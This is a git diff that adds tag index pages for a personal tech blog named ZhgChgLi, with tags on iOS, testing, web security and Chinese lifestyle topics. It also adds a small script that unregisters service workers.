diff --git a/tags/ui-testing/index.html b/tags/ui-testing/index.html new file mode 100644 index 000000000..c9baaddcc --- /dev/null +++ b/tags/ui-testing/index.html @@ -0,0 +1 @@ + ui-testing | ZhgChgLi
diff --git a/tags/uikit/index.html b/tags/uikit/index.html new file mode 100644 index 000000000..6b5fa284f --- /dev/null +++ b/tags/uikit/index.html @@ -0,0 +1 @@ + uikit | ZhgChgLi
diff --git a/tags/uitableview/index.html b/tags/uitableview/index.html new file mode 100644 index 000000000..d455d8f2b --- /dev/null +++ b/tags/uitableview/index.html @@ -0,0 +1 @@ + uitableview | ZhgChgLi
diff --git a/tags/uitextview/index.html b/tags/uitextview/index.html new file mode 100644 index 000000000..7b284a18d --- /dev/null +++ b/tags/uitextview/index.html @@ -0,0 +1 @@ + uitextview | ZhgChgLi
diff --git a/tags/uiviewcontroller/index.html b/tags/uiviewcontroller/index.html new file mode 100644 index 000000000..62409aa23 --- /dev/null +++ b/tags/uiviewcontroller/index.html @@ -0,0 +1 @@ + uiviewcontroller | ZhgChgLi
diff --git a/tags/unit-testing/index.html b/tags/unit-testing/index.html new file mode 100644 index 000000000..e5c28d5a8 --- /dev/null +++ b/tags/unit-testing/index.html @@ -0,0 +1 @@ + unit-testing | ZhgChgLi
diff --git a/tags/universal-links/index.html b/tags/universal-links/index.html new file mode 100644 index 000000000..037e91dce --- /dev/null +++ b/tags/universal-links/index.html @@ -0,0 +1 @@ + universal-links | ZhgChgLi
diff --git a/tags/uuid/index.html b/tags/uuid/index.html new file mode 100644 index 000000000..9027b4b97 --- /dev/null +++ b/tags/uuid/index.html @@ -0,0 +1 @@ + uuid | ZhgChgLi
diff --git a/tags/vagrant/index.html b/tags/vagrant/index.html new file mode 100644 index 000000000..1a4d09c5e --- /dev/null +++ b/tags/vagrant/index.html @@ -0,0 +1 @@ + vagrant | ZhgChgLi
diff --git a/tags/version-control/index.html b/tags/version-control/index.html new file mode 100644 index 000000000..6ee0be069 --- /dev/null +++ b/tags/version-control/index.html @@ -0,0 +1 @@ + version-control | ZhgChgLi
diff --git a/tags/virtualbox/index.html b/tags/virtualbox/index.html new file mode 100644 index 000000000..ba074a671 --- /dev/null +++ b/tags/virtualbox/index.html @@ -0,0 +1 @@ + virtualbox | ZhgChgLi
diff --git a/tags/visitor-pattern/index.html b/tags/visitor-pattern/index.html new file mode 100644 index 000000000..d98f34d77 --- /dev/null +++ b/tags/visitor-pattern/index.html @@ -0,0 +1 @@ + visitor-pattern | ZhgChgLi
diff --git a/tags/wallpaper/index.html b/tags/wallpaper/index.html new file mode 100644 index 000000000..768e38167 --- /dev/null +++ b/tags/wallpaper/index.html @@ -0,0 +1 @@ + wallpaper | ZhgChgLi
diff --git a/tags/wargame/index.html b/tags/wargame/index.html new file mode 100644 index 000000000..118d4ae89 --- /dev/null +++ b/tags/wargame/index.html @@ -0,0 +1 @@ + wargame | ZhgChgLi
diff --git a/tags/watchkit/index.html b/tags/watchkit/index.html new file mode 100644 index 000000000..aa11e76b2 --- /dev/null +++ b/tags/watchkit/index.html @@ -0,0 +1 @@ + watchkit | ZhgChgLi
diff --git a/tags/watchos/index.html b/tags/watchos/index.html new file mode 100644 index 000000000..7e810810a --- /dev/null +++ b/tags/watchos/index.html @@ -0,0 +1 @@ + watchos | ZhgChgLi
diff --git a/tags/web-credential/index.html b/tags/web-credential/index.html new file mode 100644 index 000000000..ada7ecc61 --- /dev/null +++ b/tags/web-credential/index.html @@ -0,0 +1 @@ + web-credential | ZhgChgLi
diff --git a/tags/web-development/index.html b/tags/web-development/index.html new file mode 100644 index 000000000..9807cd4d3 --- /dev/null +++ b/tags/web-development/index.html @@ -0,0 +1 @@ + web-development | ZhgChgLi
diff --git a/tags/web-security/index.html b/tags/web-security/index.html new file mode 100644 index 000000000..e6dbbb632 --- /dev/null +++ b/tags/web-security/index.html @@ -0,0 +1 @@ + web-security | ZhgChgLi
diff --git a/tags/website-security-test/index.html b/tags/website-security-test/index.html new file mode 100644 index 000000000..ce9662229 --- /dev/null +++ b/tags/website-security-test/index.html @@ -0,0 +1 @@ + website-security-test | ZhgChgLi
diff --git a/tags/websocket/index.html b/tags/websocket/index.html new file mode 100644 index 000000000..3b010b042 --- /dev/null +++ b/tags/websocket/index.html @@ -0,0 +1 @@ + websocket | ZhgChgLi
diff --git a/tags/whoscall/index.html b/tags/whoscall/index.html new file mode 100644 index 000000000..61f66313c --- /dev/null +++ b/tags/whoscall/index.html @@ -0,0 +1 @@ + whoscall | ZhgChgLi
diff --git a/tags/workflow-automation/index.html b/tags/workflow-automation/index.html new file mode 100644 index 000000000..17a188557 --- /dev/null +++ b/tags/workflow-automation/index.html @@ -0,0 +1 @@ + workflow-automation | ZhgChgLi
diff --git a/tags/workflow/index.html b/tags/workflow/index.html new file mode 100644 index 000000000..8f46e3d4d --- /dev/null +++ b/tags/workflow/index.html @@ -0,0 +1 @@ + workflow | ZhgChgLi
diff --git a/tags/writing-life/index.html b/tags/writing-life/index.html new file mode 100644 index 000000000..c301afc09 --- /dev/null +++ b/tags/writing-life/index.html @@ -0,0 +1 @@ + writing-life | ZhgChgLi
diff --git a/tags/xcode/index.html b/tags/xcode/index.html new file mode 100644 index 000000000..b4503e408 --- /dev/null +++ b/tags/xcode/index.html @@ -0,0 +1 @@ + xcode | ZhgChgLi
diff --git "a/tags/\345\256\266\351\233\273/index.html" "b/tags/\345\256\266\351\233\273/index.html" new file mode 100644 index 000000000..2646dc372 --- /dev/null +++ "b/tags/\345\256\266\351\233\273/index.html" @@ -0,0 +1 @@ + 家電 | ZhgChgLi
diff --git "a/tags/\345\260\217\347\261\263/index.html" "b/tags/\345\260\217\347\261\263/index.html" new file mode 100644 index 000000000..0672b88f9 --- /dev/null +++ "b/tags/\345\260\217\347\261\263/index.html" @@ -0,0 +1 @@ + 小米 | ZhgChgLi
diff --git "a/tags/\345\260\217\347\261\263\347\251\272\346\260\243\346\270\205\346\267\250\346\251\237/index.html" "b/tags/\345\260\217\347\261\263\347\251\272\346\260\243\346\270\205\346\267\250\346\251\237/index.html" new file mode 100644 index 000000000..15f031346 --- /dev/null +++ "b/tags/\345\260\217\347\261\263\347\251\272\346\260\243\346\270\205\346\267\250\346\251\237/index.html" @@ -0,0 +1 @@ + 小米空氣清淨機 | ZhgChgLi
diff --git "a/tags/\345\267\245\347\250\213\345\270\253/index.html" "b/tags/\345\267\245\347\250\213\345\270\253/index.html" new file mode 100644 index 000000000..25464eec2 --- /dev/null +++ "b/tags/\345\267\245\347\250\213\345\270\253/index.html" @@ -0,0 +1 @@ + 工程師 | ZhgChgLi
diff --git "a/tags/\347\224\237\346\264\273/index.html" "b/tags/\347\224\237\346\264\273/index.html" new file mode 100644 index 000000000..8b0a03c9e --- /dev/null +++ "b/tags/\347\224\237\346\264\273/index.html" @@ -0,0 +1 @@ + 生活 | ZhgChgLi
Home Tags 生活
Tag
Cancel
diff --git "a/tags/\347\256\241\347\220\206\345\255\270/index.html" "b/tags/\347\256\241\347\220\206\345\255\270/index.html" new file mode 100644 index 000000000..a59ef99f3 --- /dev/null +++ "b/tags/\347\256\241\347\220\206\345\255\270/index.html" @@ -0,0 +1 @@ + 管理學 | ZhgChgLi
diff --git "a/tags/\347\261\263\345\256\266/index.html" "b/tags/\347\261\263\345\256\266/index.html" new file mode 100644 index 000000000..b7d7b52cd --- /dev/null +++ "b/tags/\347\261\263\345\256\266/index.html" @@ -0,0 +1 @@ + 米家 | ZhgChgLi
diff --git "a/tags/\347\261\263\350\230\255\351\214\266\345\270\266/index.html" "b/tags/\347\261\263\350\230\255\351\214\266\345\270\266/index.html" new file mode 100644 index 000000000..150b2e818 --- /dev/null +++ "b/tags/\347\261\263\350\230\255\351\214\266\345\270\266/index.html" @@ -0,0 +1 @@ + 米蘭錶帶 | ZhgChgLi
diff --git "a/tags/\351\226\213\347\256\261/index.html" "b/tags/\351\226\213\347\256\261/index.html" new file mode 100644 index 000000000..9f9560f8a --- /dev/null +++ "b/tags/\351\226\213\347\256\261/index.html" @@ -0,0 +1 @@ + 開箱 | ZhgChgLi
diff --git "a/tags/\351\241\247\345\260\217\344\272\213\346\210\220\345\244\247\344\272\213/index.html" "b/tags/\351\241\247\345\260\217\344\272\213\346\210\220\345\244\247\344\272\213/index.html" new file mode 100644 index 000000000..9bdec58fe --- /dev/null +++ "b/tags/\351\241\247\345\260\217\344\272\213\346\210\220\345\244\247\344\272\213/index.html" @@ -0,0 +1 @@ + 顧小事成大事 | ZhgChgLi
diff --git "a/tags/\357\275\215edium/index.html" "b/tags/\357\275\215edium/index.html" new file mode 100644 index 000000000..27dbd36cd --- /dev/null +++ "b/tags/\357\275\215edium/index.html" @@ -0,0 +1 @@ + medium | ZhgChgLi
diff --git a/unregister.js b/unregister.js new file mode 100644 index 000000000..20cef0de8 --- /dev/null +++ b/unregister.js @@ -0,0 +1 @@ +if ('serviceWorker' in navigator) { navigator.serviceWorker.getRegistrations().then((registrations) => { for (let reg of registrations) { reg.unregister(); } }); }